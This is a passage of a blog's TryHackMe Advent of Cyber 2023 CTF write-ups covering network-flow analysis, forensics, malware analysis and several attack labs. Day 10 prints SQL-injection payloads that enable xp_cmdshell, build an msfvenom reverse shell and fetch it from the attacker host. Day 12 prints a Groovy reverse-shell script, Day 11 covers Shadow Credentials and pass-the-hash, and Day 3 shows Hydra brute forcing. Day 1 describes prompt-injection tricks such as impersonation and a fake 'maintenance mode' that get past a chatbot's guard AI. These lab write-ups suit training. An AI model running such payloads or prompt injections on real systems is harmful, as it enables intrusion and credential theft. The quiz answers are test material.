options: # protocols: `--proto` -- values between 0-255 # port filters: any port:`--aport`; source port:`--sport`; destination port:`--dport`; possible values: 0-65535 # ip filters: any ip address:`--any-address`; source address:`--saddress`; destination address:`--daddress` # volume filters: number of the packets:`--packets`; number of the bytes:`--bytes` # quick statistics -- `rwstats` # --count: limit the number of records printed -- top 10 destination ports # --values=records,packets,bytes:show measurement in flows, packets and bytes # --values=sIP-Distinct,dIP-Distinct:show the number of unique IP addresses that used the filtered field rwstats FILENAME --fields=dPort --values=records,packets,bytes,sIP-Distinct,dIP-Distinct --count=10 ## list the top 10 talkers on the network rwstats suspicious-flows.silk --fields=sIP --values=bytes --count=10 --top # list the top communication pairs -- not working!!! rwfilter FILENAME --fields=sIP,dIP --values=records,bytes,packets --count=10 # filter all dns traffic (either as source or destination port) rwfilter suspicious-flows.silk --aport=53 --pass=stdout | rwstats --fields=sIP,dIP --values=records,bytes,packets --count=10 # view the frequency of the requests -- on both sides rwfilter suspicious-flows.silk --saddress=175.175.173.221 --dport=53 --pass=stdout | rwcut --fields=sIP,dIP,stime | head -10 # the other side rwfilter suspicious-flows.silk --saddress=175.219.238.243 --dport=53 --pass=stdout | rwcut --fields=sIP,dIP,stime | head -10 # check other interactions on the network by the suspicious host rwfilter suspicious-flows.silk --any-address=175.175.173.221 --pass=stdout | rwstats --fields=sIP,dIP --count=10 # check the other ip it interacted with rwfilter suspicious-flows.silk --any-address=205.213.108.99 --pass=stdout | rwstats --fields=sIP,sPort,dIP,dPort,proto --count=10 # check who is involved in port 80 traffic rwfilter suspicious-flows.silk --aport=80 --pass=stdout | rwstats --fields=sIP,dIP --count=10 # reveal the one that created the load by focusing on the destination port rwfilter suspicious-flows.silk --aport=80 --pass=stdout | rwstats --fields=sIP,dIP,dPort --count=10 # view the frequency and flags fo the request to see if there is any abnormal pattern rwfilter suspicious-flows.silk --saddress=175.215.236.223 --pass=stdout | rwcut --fields=sIP,dIP,dPort,flag,stime | head # view all the packets sent by that specific host rwfilter suspicious-flows.silk --saddress=175.215.236.223 --pass=stdout | rwstats --fields=sIP,flag,dIP --count=10 # check the destination\u0026#39;s answers rwfilter suspicious-flows.silk --saddress=175.215.235.223 --pass=stdout | rwstats --fields=sIP,flag,dIP --count=10 # check if the host has interacted with other hosts on the network rwfilter suspicious-flows.silk --any-address=175.215.236.223 --pass=stdout | rwstats --fields=sIP,dIP --count=10 Questions and Answers Question-01: Which version of SiLK is installed on the VM?\n3.19.1\nQuestion-02: What is the size of the flows in the count records?\n11774\nQuestion-03: What is the start time (sTime) of the sixth record in the file?\n2023/12/05T09:33:07.755\nQuestion-04: What is the destination port of the sixth UDP record?\n49950\nQuestion-05: What is the record value (%) of the dport 53?\n35.332088\nQuestion-06: What is the number of bytes transmitted by the top talker on the network?\n735229\nQuestion-07: What is the sTime value of the first DNS record going to port 53?\n2023/12/08T04:28:44.825\nQuestion-08: What is the IP address of the host that the C2 potentially controls? (In defanged format: 123[.]456[.]789[.]0 )\n175[.]175[.]173[.]221\nQuestion-09: Which IP address is suspected to be the flood attacker? (In defanged format: 123[.]456[.]789[.]0 )\n175[.]215[.]236[.]223\nQuestion-10: What is the sent SYN packet\u0026rsquo;s number of records?\n1658\nQuestion-11: We\u0026rsquo;ve successfully analysed network flows to gain quick statistics. If you want to delve deeper into network packets and network data, you can look at the Network Security and Traffic Analysis module.\nNo answer needed\nDay-18 A Gift That Keeps on Giving\nStoryline\nAn investigation into an insider threat has revealed a production server consuming an unexpectedly high amount of resources. We suspect the presence of a cryptominer and have narrowed the issue down to a single unapproved process. Our objective is to locate every instance where this process is embedded within the system and eliminate it to prevent further misuse of company resources.\nOverview\nWe use the top command to monitor system performance and identify a suspicious process named \u0026ldquo;a\u0026rdquo; that is consuming 100% of the CPU. Although we attempt to terminate it using sudo kill, the process immediately respawns with a new PID.\nAfter checking the crontabs for both the standard user and the root user and finding no relevant scheduled tasks, we investigate running services using systemctl list-unit-files.\nWe discover an enabled service with a suspicious name and the description \u0026ldquo;Unkillable exe,\u0026rdquo; which is responsible for restarting the malicious process.\nTo permanently remove the threat, we switch to the root user and use systemctl stop and systemctl disable to halt the service. We then delete the service and process files located in /etc/systemd/system/ and run systemctl daemon-reload to clear any remaining configurations. This successfully restores normal CPU usage and eradicates the persistent process.\nPractical\n# display the list of processes in real time with their usage top # try killing the process sudo kill 666 # checking the cronjobs crontab -l # checking the cronjobs for the root user sudo su crontab -l # check for running services # list all services -- the service we are looking for must be enabled to respawn the process --\u0026gt; filter for enabled systemctl list-unit-files | grep enabled # check the status of the suspicious service systemctl status a-unkillable.service # getting rid of the service # change to root sudo su # stop the service systemctl stop a-unkillable.service # verify status systemctl status a-unkillable.service # disabling the service systemctl disable a-unkillable.service # service still present in the system --\u0026gt; remove the files as well # remove process files rm -rf /etc/systemd/system/a # remove service files rm -rf /etc/systemd/system/a-unkillable.service # verify cleanup --\u0026gt; should throw an error systemctl status a-unkillable.service # make sure no remnants are left --\u0026gt; reload all the service configurations and create the whole service dependency tree again systemctl daemon-reload Questions and Answers Question-1: What is the name of the service that respawns the process after killing it?\na-unkillable.service\nQuestion-2: What is the path from where the process and service were running?\n/etc/systemd/system\nQuestion-3: The malware prints a taunting message. When is the message shown? Choose from the options below. 1. Randomly; 2. After a set interval; 3. On process termination; 4. None of the above\n4\nQuestion-4: If you enjoyed this task, feel free to check out the Linux Forensics room.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc23/days-13-18/","summary":"THM | Advent of Cyber 2023 | Days 13-18","title":"AOC23 | Days 13-18"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2023\nDays: 07-12\nDay-07 ‘Tis the season for log chopping!\nStoryline\nAfter being demoted during a company acquisition, Tracy McGreedy installed CrypTOYminer malware across all company workstations and servers. While McGreedy intended to disrupt the company, the malware also contains a hidden data-stealing component used by its original author.\nWe must now assist Forensic McBlue\u0026rsquo;s team in analyzing network logs to investigate the resulting unusual traffic and significant data exfiltration.\nOverview\nThis challenge introduces the fundamentals of log analysis and proxy servers, focusing on how to identify malicious network activity. We are tasked with analyzing a proxy log file (access.log) to hunt for indicators of compromise, such as malicious binary downloads, data exfiltration, or persistent beaconing.\nTo analyze the dataset, we use various Linux command-line tools and pipes to filter and manipulate the log data. We utilize cut to isolate specific fields like timestamps, source IPs, and domains, and combine grep, sort, uniq, head, and tail to identify the most frequently accessed domains. By piping these commands together, we can efficiently transform raw log entries into a structured list of connection counts.\nThe ultimate goal is to detect suspicious traffic and uncover a security breach. By identifying an unusual domain among the top accessed sites and isolating the URI parameters, we discover Base64-encoded strings. Decoding these strings reveals that sensitive company data was being exfiltrated via HTTP GET requests.\nQuestions and Answers Question-1: How many unique IP addresses are connected to the proxy server?\n9\ncat access.log | cut -d \u0026#39; \u0026#39; -f2 | sort | uniq | wc -l Question-2: How many unique domains were accessed by all workstations?\n111\ncat access.log | cut -d \u0026#39; \u0026#39; -f3 | cut -d \u0026#39;:\u0026#39; -f1 | sort | uniq | wc -l Question-3: What status code is generated by the HTTP requests to the least accessed domain?\n503\n# get the least accessed domain cat access.log | cut -d \u0026#39; \u0026#39; -f3 | cut -d \u0026#39;:\u0026#39; -f1 | sort | uniq -c | sort | head -n 1 # get the status code grep partnerservices.getmicrosoftkey.com access.log Question-4: Based on the high count of connection attempts, what is the name of the suspicious domain?\nfrostlings.bigbadstash.thm\ncat access.log | cut -d \u0026#39; \u0026#39; -f3 | cut -d \u0026#39;:\u0026#39; -f1 | sort | uniq -c | sort Question-5: What is the source IP of the workstation that accessed the malicious domain?\n10.10.185.225\ngrep frostlings.bigbadstash.thm access.log Question-6: How many requests were made on the malicious domain in total?\n1581\ngrep frostlings.bigbadstash.thm access.log | wc -l Question-7: Having retrieved the exfiltrated data, what is the hidden flag?\nTHM{\u0026lt;redacted-flag\u0026gt;}\ngrep frostlings.bigbadstash.thm access.log | cut -d \u0026#39; \u0026#39; -f5 | cut -d \u0026#39;=\u0026#39; -f2 | base64 -d | grep -i thm Question-8: If you enjoyed doing log analysis, check out the Log Analysis module in the SOC Level 2 Path.\nNo answer needed\nDay-08 Have a Holly, Jolly Byte!\nStoryline\nFollowing the merger of Best Festival Company and AntarctiCrafts, a disgruntled regional manager named Tracy McGreedy plots to sabotage the organization. His accomplice, Van Sprinkles, initiates a cyber attack but eventually changes sides, assisting McSkidy\u0026rsquo;s team in uncovering and stopping McGreedy\u0026rsquo;s scheme.\nOverview\nMcGreedy has orchestrated a corporate conspiracy by distributing malware-laden USB drives among AntarctiCrafts employees. After an employee unknowingly plugs in one of these devices, causing network chaos, McSkidy and his team confiscate the drive to uncover the scheme. Our objective is to perform a digital forensic analysis of the USB drive to recover deleted evidence and expose McGreedy\u0026rsquo;s plan.\nWe will use FTK Imager to analyze a write-protected emulated USB drive without altering the original evidence. The process involves adding the physical drive as an evidence item, navigating the Evidence Tree and File List panes, and utilizing Automatic, Text, and Hex preview modes to examine file contents.\nTo complete the challenge, we will search for specific strings using the find function, recover deleted files marked with an x icon via the Export Files option, and verify the drive\u0026rsquo;s integrity by generating MD5 and SHA1 hashes.\nQuestions and Answers Question-1: What is the malware C2 server?\nmcgreedysecretc2.thm\nQuestion-2: What is the file inside the deleted zip archive?\nJuicyTomaTOY.exe\nQuestion-3: What flag is hidden in one of the deleted PNG files?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-4: What is the SHA1 hash of the physical drive and forensic image?\n39f2dea6ffb43bf80d80f19d122076b3682773c2\nQuestion-5: If you liked today\u0026rsquo;s challenge, the Digital Forensics Case B4DM755 room is an excellent overview of the entire digital forensics and incident response (DFIR) process!\nNo answer needed\nDay-09 She sells C# shells by the C2shore\nStoryline\nAfter recovering the deleted malware used by Tracy McGreedy to remotely control elves, Forensic McBlue and his team are shifting their focus to the attacker\u0026rsquo;s back-end infrastructure. We will analyze the malware\u0026rsquo;s source code to identify the infrastructure and develop a strategy to stop the mind control incident.\nMalware Analysis Walkthrough\nWe are analyzing a malware sample written in C# to understand its functionality and communication patterns. Because the binary is compiled using the .NET framework, it utilizes an intermediate language (IL) that allows us to retrieve the original source code through decompilation rather than relying solely on low-level assembly.\nTo perform this analysis safely, we use a sandbox environment \u0026ndash; an isolated virtual machine with network controls and monitoring tools \u0026ndash; which prevents the malware from affecting our actual systems.\nThe technical goal of this exercise is to reverse engineer the binary using dnSpy to map out the malware\u0026rsquo;s execution pipeline. We begin by loading the defanged sample into dnSpy and examining its individual functions to understand their purpose:\nGetIt and PostIt: These functions handle HTTP GET and POST requests, respectively, allowing the malware to communicate with a remote server. Sleeper: This function uses Thread.Sleep to pause execution, a common technique used to evade detection. ExecuteCommand: This function spawns a hidden cmd.exe process to run OS commands on the victim\u0026rsquo;s machine. Encryptor and Decryptor: These use AES encryption and Base64 encoding to obfuscate data sent to and from the C2 server. Implant: This acts as a dropper, downloading additional malicious files from a URL and saving them to the local AppData folder. By analyzing the Main function, we can reconstruct the malware\u0026rsquo;s operational flow. The process starts by retrieving the victim\u0026rsquo;s hostname and reporting it to the /reg endpoint of the C2 server to establish a connection.\nThe malware then enters an infinite loop where it periodically polls the /tasks endpoint via a GET request to receive instructions. Depending on the decrypted command received, the malware performs one of four actions: it can adjust its sleep timer (sleep), execute system commands (shell), download additional payloads (implant), or terminate its own process (quit).\nAny output from the shell or implant functions is encrypted and reported back to the attacker via the /results endpoint.\nQuestions and Answers Question-1: What HTTP User-Agent was used by the malware for its connection requests to the C2 server?\nMozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15\nQuestion-2: What is the HTTP method used to submit the command execution output?\nPOST\nQuestion-3: What key is used by the malware to encrypt or decrypt the C2 data?\nyoucanthackthissupersecurec2keys\nQuestion-4: What is the first HTTP URL used by the malware?\nhttp://mcgreedysecretc2.thm/reg\nQuestion-5: How many seconds is the hardcoded value used by the sleep function?\n15\nQuestion-6: What is the C2 command the attacker uses to execute commands via cmd.exe?\nshell\nQuestion-7: What is the domain used by the malware to download another binary?\nstash.mcgreedy.thm\nQuestion-8: Check out the Malware Analysis module in the SOC Level 2 Path if you enjoyed analysing malware.\nNo answer needed\nDay-10 Inject the Halls with EXEC Queries\nStoryline\nThe Best Festival Company\u0026rsquo;s website has been hijacked and defaced, leaving the development team locked out of their own server. To regain access, the security team is investigating the breach after discovering a forum post on JingleHax where a user named Gr33dster auctioned off zero-day vulnerabilities targeting the company.\nThrough external testing of the website, we suspect that the attacker leveraged an injection vulnerability to compromise the server.\nSQL Injection Fundamentals\nRelational databases organize data into interconnected tables using SQL to query, insert, update, and delete records. In web development, PHP often acts as the server-side bridge, dynamically generating SQL queries based on user-supplied data, such as GET parameters in a URL.\nWhen applications incorporate this user input into queries without proper validation or sanitization, they become vulnerable to SQL Injection (SQLi). We can exploit this by injecting malicious SQL syntax to manipulate the database\u0026rsquo;s logic. For example, using the payload ' OR 1=1 -- allows us to create a condition that always evaluates to true, potentially bypassing authentication or dumping all records from a table. While effective for proof-of-concept, such broad payloads can be risky in production environments as they may inadvertently trigger mass updates or deletions.\nBeyond simple data retrieval, we can use stacked queries to execute entirely new commands. By using a semicolon (;) to terminate the original query, we can append additional statements \u0026ndash; such as INSERT \u0026ndash; to modify database content.\nTo identify these vulnerabilities in a real-world scenario, we perform the following steps:\nManually enumerate the application to find input fields or URL parameters that interact with a database. Test for unsanitized input by injecting special characters like single quotes (') to trigger database error messages. Analyze error messages to identify the specific Database Management System (DBMS) in use, such as Microsoft SQL Server. Craft and inject a payload to verify the vulnerability, such as using an OR 1=1 statement to retrieve unauthorized data. Remote Code Execution via SQL Injection\nWe can escalate a stacked query vulnerability to achieve remote code execution (RCE) by calling stored procedures. In Microsoft SQL Server, the xp_cmdshell procedure is particularly valuable as it allows the database to execute operating system commands. Although typically disabled by default, misconfigurations often leave it active or allow users with sufficient permissions to enable it.\nTo obtain RCE, we follow these steps:\nEnable advanced options and the xp_cmdshell procedure using a series of stacked EXEC sp_configure and RECONFIGURE statements. Verify execution by using a native Windows binary, such as certutil.exe, to make an outbound HTTP request to a server we control. Generate a reverse shell payload using msfvenom for the target architecture (e.g., Windows x64) and serve it via a Python HTTP server. Use xp_cmdshell to command the target system to download the payload to a temporary directory (e.g., C:\\Windows\\Temp\\). Start a netcat listener on the AttackBox to catch the incoming connection. Execute the downloaded payload via another stacked query to establish an interactive reverse shell. Once the shell is established, we can perform post-exploitation tasks, such as exploring the file system (e.g., the C:\\Users directory) to find recovery files or sensitive data.\nTo prevent these attacks, developers should implement input validation, utilize parameterized statements (prepared queries) to separate data from code, and use secure stored procedures.\nQuestions and Answers Question-1: Manually navigate the defaced website to find the vulnerable search form. What is the first webpage you come across that contains the gift-finding feature?\n/giftsearch.php\nQuestion-2: Analyze the SQL error message that is returned. What ODBC Driver is being used in the back end of the website?\nODBC Driver 17 for SQL Server\nQuestion-3: Inject the 1=1 condition into the Gift Search form. What is the last result returned in the database?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nhttp://10.10.203.193/giftresults.php?age=%27%20OR%201=1%20-- Question-4: What flag is in the note file Gr33dstr left behind on the system?\nTHM{\u0026lt;redacted-flag\u0026gt;}\n-- enable advanced configurations; apply the change to the running configuration; -- enable the `xp_cmdshell` procedure; apply the change to the running configuration http://10.10.203.193/giftresults.php?age=\u0026#39;; EXEC sp_configure \u0026#39;show advanced options\u0026#39;, 1; RECONFIGURE; EXEC sp_configure \u0026#39;xp_cmdshell\u0026#39;, 1; RECONFIGURE; -- # create reverse shell payload with msfvenom msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.27.115 LPORT=4444 -f exe -o reverse.exe # run HTTP server on lhost to serve the file python3 -m http.server 8000 -- call `xp_cmdshell` and execute the `certutil.exe` on rhost to download our reverse shell http://10.10.203.193/giftresults.php?age=\u0026#39;; EXEC xp_cmdshell \u0026#39;certutil -urlcache -f http://10.9.27.115:8000/reverse.exe C:\\Windows\\Temp\\reverse.exe\u0026#39;; -- # start netcat listener on lhost nc -lvnp 4444 -- execute the reverse shell on rhost http://10.10.203.193/giftresults.php?age=\u0026#39;; EXEC xp_cmdshell \u0026#39;C:\\Windows\\Temp\\reverse.exe\u0026#39;; -- Question-5: What is the flag you receive on the homepage after restoring the website?\nTHM{\u0026lt;redacted-flag\u0026gt;}\ncd c:\\Users\\Administrator\\Desktop .\\restore_website.bat Question-6: If you enjoyed this task, feel free to check out the Software Security module.\nNo answer needed\nDay-11 Jingle Bells, Shadow Spells\nStoryline\nAntarctiCrafts prioritizes climate research over cybersecurity, leading to vulnerabilities as its infrastructure integrates with other systems. Despite their expertise, the small team lacks sufficient security awareness. We will now examine the current state of user permissions to determine if the HR user still possesses excessive privileges following a previous audit.\nOverview\nActive Directory (AD) is a centralized authentication and authorization system used in Windows environments, where the Domain Controller manages the directory\u0026rsquo;s objects and permissions. A modern authentication feature called Windows Hello for Business (WHfB) replaces passwords with cryptographic key pairs, storing the user\u0026rsquo;s public key in the msDS-KeyCredentialLink attribute. If an attacker can modify this attribute, they can perform a Shadow Credentials attack to impersonate a user.\nTo exploit this vulnerability, we follow these steps:\nEnumeration: We use the PowerView PowerShell script and the Find-InterestingDomainAcl command to identify users with write permissions over others. In this case, the user hr has GenericWrite privileges over the Administrator account. Certificate Injection: We use the tool Whisker to simulate a malicious device enrollment, which generates a new key pair and overwrites the target\u0026rsquo;s msDS-KeyCredentialLink attribute with a malicious public key. TGT Request: We use Rubeus to request a Ticket Granting Ticket (TGT) by providing the certificate generated by Whisker. This allows us to impersonate the target user and retrieve their NTLM hash. Access: Using the retrieved NTLM hash, we perform a pass-the-hash attack via Evil-WinRM to gain remote administrative access to the machine and retrieve the flag. The ultimate goal is to demonstrate how violating the principle of least privilege by granting excessive write permissions can lead to a full domain compromise.\nQuestions and Answers Question-1: What is the hash of the vulnerable user?\n03E805D8A8C5AA435FB48832DAD620E3\n# Connecting to rhost xfreerdp /u:hr /p:Passw0rd! /v:10.10.252.129 /dynamic-resolution Once connected, perform the following on the target:\n# change working dir cd C:\\Users\\hr\\Desktop # bypass the default policy for arbitrary ps script powershell -ep bypass # load the PowerView script into the memory . .\\PowerView.ps1 # return user\u0026#39;s privileges | filter the current user \u0026#39;hr\u0026#39; # | filter for the current user, the vulnerable user and the privilege assigned Find-InterestingDomainAcl -ResolveGuids | Where-Object { $_.IdentityReferenceName -eq \u0026#34;hr\u0026#34; } | Select-Object IdentityReferenceName, ObjectDN, ActiveDirectoryRights # Simulate the enrollment of a malicious device # update the `msDS-KeyCredentialLink` attribute .\\Whisker.exe add /target:vansprinkles # Ask for a TGT using the created certificate # asktgt: make request to obtain the TGT # /user: the user we want to impersonate for the TGT # /certificate: the certificate generated to impersonate the target user # /password: the password used for decoding the certificate since it\u0026#39;s encrypted # /domain: the target domain # /getcredentials: retrieve the NTLM hash # /dc: specify the domain controller that will generate the TGT \\Rubeus.exe asktgt /user:Administrator /certificate:MIIJwAIBAzCCCXwGCSqGSIb3DQEH[snip] /password:\u0026#34;qfyNlIfCjVqzwh1e\u0026#34; /domain:AOC.local /dc:southpole.AOC.local /getcredentials /show Question-2: What is the content of flag.txt on the Administrator Desktop?\nTHM{\u0026lt;redacted-flag\u0026gt;}\n# Perform a Pass-the-Hash attack with Evil-WinRM # from lhost # -i:specify target; -u:specify user; -H:specify NTLM hash evil-winrm -i 10.10.252.129 -u Administrator -H F138C405BD9F3139994E220CE0212E7C # once logged in --\u0026gt; flag at C:\\Users\\Administrator\\Desktop\\flag.txt Question-3: If you enjoyed this task, feel free to check out the Compromising Active Directory module!\nNo answer needed\nQuestion-4: Van Sprinkles left some stuff around the DC. It\u0026rsquo;s like a secret message waiting to be unravelled!\nNo answer needed\nDay-12 Sleighing Threats, One Layer at a Time\nStoryline\nFollowing a chaotic company merger, the organization\u0026rsquo;s security posture has degraded, leaving servers and endpoints highly vulnerable. To mitigate this risk, McHoneyBell aims to implement a Defence in Depth strategy to fortify every layer of the infrastructure, from physical hardware to cloud services.\nOur objective is to explore how this layered security approach can be used to strengthen the overall environment.\nAttack Chain and Server Hardening Walkthrough\nThis challenge involves a server with multiple intentional misconfigurations and poor security practices. The goal is to demonstrate a full attack chain leading to root access and subsequently apply defense-in-depth strategies to secure the environment.\nAttack Chain\nWe begin by accessing a Jenkins instance on port 8080. By navigating to the Script Console, we can execute a Groovy reverse shell script to gain an initial foothold as the Jenkins user. While enumerating the system, we find a backup script in /opt/scripts containing plaintext credentials for a user named tracy.\nWe use these credentials to pivot via SSH and log in as tracy. Finally, by checking sudo permissions with sudo -l, we discover that tracy has full administrative privileges, allowing us to execute sudo su and gain root access.\nHardening Process\nTo secure the server, we implement several layers of defense based on the principle of least privilege and zero trust:\nPrivilege Reduction: We remove the user tracy from the sudo group to prevent immediate escalation to root. SSH Hardening: We disable password-based authentication in /etc/ssh/sshd_config to thwart attacks using compromised plaintext credentials. Password Policy: We implement stronger password requirements to mitigate brute-force attacks and discourage poor credential management. Access Control: We move toward a zero-trust model by restoring the Jenkins config.xml from a backup, enabling denyAnonymousReadAccess and the HudsonPrivateSecurityRealm to require authentication for platform access. Questions and Answers Question-1: What is the default port for Jenkins?\n8080\n# Log in credentials # user admin # pwd SupeStrongPassword123 # Attack Chain walkthrough # lhost: http://rhost:8080 # accessing jenkins # Manage Jenkins \u0026gt; Script Console Groovy reverse shell script:\nString host=\u0026#34;attacking machine IP here\u0026#34;; int port=6996; String cmd=\u0026#34;/bin/bash\u0026#34;; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()\u0026gt;0)so.write(pi.read());while(pe.available()\u0026gt;0)so.write(pe.read());while(si.available()\u0026gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); Follow up:\n# lauch netcat listener on lhost nc -nvlp 6969 # after connection is established, search for low hanging fruits # user tracy\u0026#39;s ssh pwd at cat /opt/scripts/backup.sh # ssh into the machine ssh tracy@\u0026lt;rhost\u0026gt; # check for sudo privileges on rhost for user tracy sudo -l # elevate to root sudo su Guided hardening walkthrough:\n# on rhost as the admin # remove tracy\u0026#39;s sudo privileges sudo deluser tracy sudo # verify sudo -l -U tracy # hardening ssh - disallow password auth. login sudo vim /etc/ssh/sshd_config # uncomment \u0026#39;#PasswordAuthentication yes\u0026#39; and set to no --\u0026gt; result: \u0026#39;PasswordAuthentication no\u0026#39; # comment out \u0026#39;Include /etc/ssh/sshd_config.d/*.conf\u0026#39; # verify changes egrep \u0026#39;^PasswordAuthentication|^#Include\u0026#39; /etc/ssh # restart the service sudo systemctl restart ssh # jenkins hardening -- config file at /var/lib/jenkins/config.xml sudo vim /var/lib/jenkins/config.xml.bak # remove \u0026#34;!--\u0026#34; and ending \u0026#34;--\u0026#34; for both `authorizationStrategy` and `securityRealm` # verify changes egrep \u0026#39;denyAnonymousReadAccess|disableSignup|enableCaptcha\u0026#39; # restart the service sudo systemctl restart jenkins Question-2: What is the password of the user tracy?\n13_1n_33\nQuestion-3: What\u0026rsquo;s the root flag?\n\u0026lt;redacted-flag\u0026gt;\nQuestion-4: What is the error message when you login as tracy again and try \u0026lsquo;sudo -l\u0026rsquo; after its removal from the sudoers group?\nSorry, user tracy may not run sudo on jenkins.\nQuestion-5: What\u0026rsquo;s the SSH flag?\n\u0026lt;redacted-flag\u0026gt;\nQuestion-6: What\u0026rsquo;s the Jenkins flag?\n\u0026lt;redacted-flag\u0026gt;\nQuestion-7: If you enjoyed this room, please check out our SOC Level 1 learning path.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc23/days-07-12/","summary":"THM | Advent of Cyber 2023 | Days 07-12","title":"AOC23 | Days 07-12"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2023\nDays: 01-06\nDay-01 Chatbot, tell me, if you\u0026rsquo;re really safe?\nStoryline\nWe meet McHoneyBell and her B-Team (the Audit and Vulnerabilities team) as they begin their work at the AntarctiCrafts office. While they have a friendly rivalry with McSkidy\u0026rsquo;s A-Team, they have a critical mission of their own.\nFor their first task, we\u0026rsquo;ll be helping them test an internal chatbot powered by an LLM to see if it meets security standards. This gives us a chance to practice a technique called prompt injection, a common vulnerability found in insecure chatbots that use natural language processing.\nOverview\nIn this task, we access Van Chatty, AntarctiCrafts\u0026rsquo; internal chatbot, to test its security.\nThrough this exercise, we learn about prompt injection \u0026ndash; a vulnerability where we can manipulate a chatbot\u0026rsquo;s responses by inserting specific queries to trick it into revealing sensitive information.\nWe discover that simply asking for data can work if the bot was trained on sensitive information without defenses. To counter this, developers often use system prompts to give the bot guidelines on what not to reveal. However, we find that we can bypass these rules by using social engineering, such as pretending to be a specific employee to gain access to passwords.\nWe also explore AI-assisted security, where a second Interceptor AI checks for malicious inputs. Even then, we find that creative, out-of-the-box thinking \u0026ndash; like telling the bot it is in maintenance mode \u0026ndash; can bypass these filters to uncover secret projects.\nThis highlights the ongoing cat-and-mouse game between attackers and defenders in AI security. By the end of the task, McHoneyBell\u0026rsquo;s team successfully exploits these loopholes, proving that even advanced chatbots can be vulnerable if not properly secured.\nQuestions and Answers Question-1: What is McGreedy\u0026rsquo;s personal email address?\nt.mcgreedy@antarcticrafts.thm\nQuestion-2: What is the password for the IT server room door?\nBtY2S02\nQuestion-3: What is the name of McGreedy\u0026rsquo;s secret project?\nPurple Snow\nQuestion-4: If you enjoyed this room, we invite you to join our Discord server (opens in new tab) for ongoing support, exclusive tips, and a community of peers to enhance your Advent of Cyber experience!\nNo answer needed\nDay-02 O Data, All Ye Faithful\nStoryline\nFollowing yesterday\u0026rsquo;s success, McHoneyBell arrives at the office ready for her next challenge. She receives a new task via HollyChat: she and her team must map out the network of the AntarctiCrafts South Pole site.\nUpon realizing that the facility lacks any modern network monitoring technology, McHoneyBell is undeterred and opens her Python terminal to get to work.\nOverview\nThis challenge introduces the fundamentals of data science and its application within cybersecurity, specifically for tasks like anomaly detection, SIEM correlation, and threat trend analysis. The goal is to familiarize us with the data science pipeline \u0026ndash; collection, processing, mining, analysis, and communication \u0026ndash; and how these stages help transform raw logs into actionable security intelligence.\nTo achieve this, we use Jupyter Notebooks to execute Python code in a cell-based environment.\nWe begin with a Python crash course to master basic syntax, including printing text, managing variables for data storage, and using lists to handle collections of values. Next, we move into specialized libraries for data manipulation and visualization:\nWe use Pandas to structure data into Series (single columns) and DataFrames (tabular formats), allowing us to process complex datasets. We use Matplotlib to convert analyzed data into visual plots, such as line charts, to identify trends. The process concludes with a capstone project where we apply these skills to a real-world scenario by analyzing a network_traffic.csv dataset to answer specific security questions.\nQuestions and Answers Question-1: Open the notebook Workbook located in the directory 4_Capstone on the VM. Use what you have learned today to analyse the packet capture.\nNo answer needed\nQuestion-2: How many packets were captured (looking at the PacketNumber)?\n100\n# Question 2 # Here you will need to use Pandas count function on the dataframe # For example: # dataframe.count() # Remember, the dataframe in this notebook is called \u0026#34;df\u0026#34; not \u0026#34;dataframe\u0026#34; df.count() Question-3: What IP address sent the most amount of traffic during the packet capture?\n10.10.1.4\n# Question 3 # Here you can perform a groupby with Pandas size function on the Source and Destination columns # Remember, the dataframe in this notebook is called \u0026#34;df\u0026#34; not \u0026#34;dataframe\u0026#34; # Check the hint on TryHackMe if you are stuck. # For example: # dataframe.groupby([\u0026#39;ColumnName\u0026#39;]).size() df.groupby([\u0026#39;Source\u0026#39;]).size() # df.groupby([\u0026#39;Destination\u0026#39;]).size() Question-4: What was the most frequent protocol?\nICMP\n# Question 4 # Here you can use Pandas value.counts on the appropriate column # Remember, we are counting how many values there are in the Protocol column df.groupby([\u0026#39;Protocol\u0026#39;]).count() Question-5: If you enjoyed today\u0026rsquo;s task, check out the Intro to Log Analysis room.\nNo answer needed\nDay-03 Hydra is Coming to Town\nStoryline\nCritical systems and IT infrastructure doors have been locked by an attacker aiming to disrupt business operations. During the lockdown, Detective Frost-eau was injured while attempting to escape.\nTo restore operations, the team must regain access to the IT room to retrieve backup tapes, but they are blocked by a changed password. Our objective is to hack into the control systems to unlock the door and recover the tapes.\nOverview\nTo avoid the tedious process of manual entry, we use Hydra to automate a brute-force attack against the PIN login form.\nBy analyzing the page source, we identify that the form uses the POST method, submits to /login.php, and uses the parameter name pin.\nWe then run Hydra with a pre-generated list of 3-digit combinations, configuring the tool to stop once it identifies a response that does not contain the \u0026ldquo;Access denied\u0026rdquo; message.\nThis process reveals the correct PIN, allowing us to access the IT server room and retrieve the backup tapes.\nQuestions and Answers Question-1: Using crunch and hydra, find the PIN code to access the control system and unlock the door. What is the flag?\nTHM{\u0026lt;redacted-flag\u0026gt;}\n# Generating the possible password list crunch 3 3 0123456789ABCDEF -o 3digits.txt # Using hydra for brute forcing the page # -l \u0026#39;\u0026#39; -- indicates that the login name is blank as the security lock only requires a password # -P 3digits.txt -- specifies the password file to use # -f -- stops Hydra after finding a working password # -v -- provides verbose output and is helpful for catching errors # 10.10.48.173 -- is the IP address of the target # http-post-form -- specifies the HTTP method to use # \u0026#34;/login.php:pin=^PASS^:Access denied\u0026#34; -- has three parts separated by : # /login.php -- is the page where the PIN code is submitted # pin=^PASS^ -- will replace ^PASS^ with values from the password list # Access denied -- indicates that invalid passwords will lead to a page that contains the text “Access denied” # -s 8000 -- indicates the port number on the target hydra -l \u0026#39;\u0026#39; -P 3digits.txt -f -v 10.10.48.173 http-post-form \u0026#34;/login.php:pin=^PASS^:Access denied\u0026#34; -s 8000 # Working pin 6F5 Question-2: If you have enjoyed this room 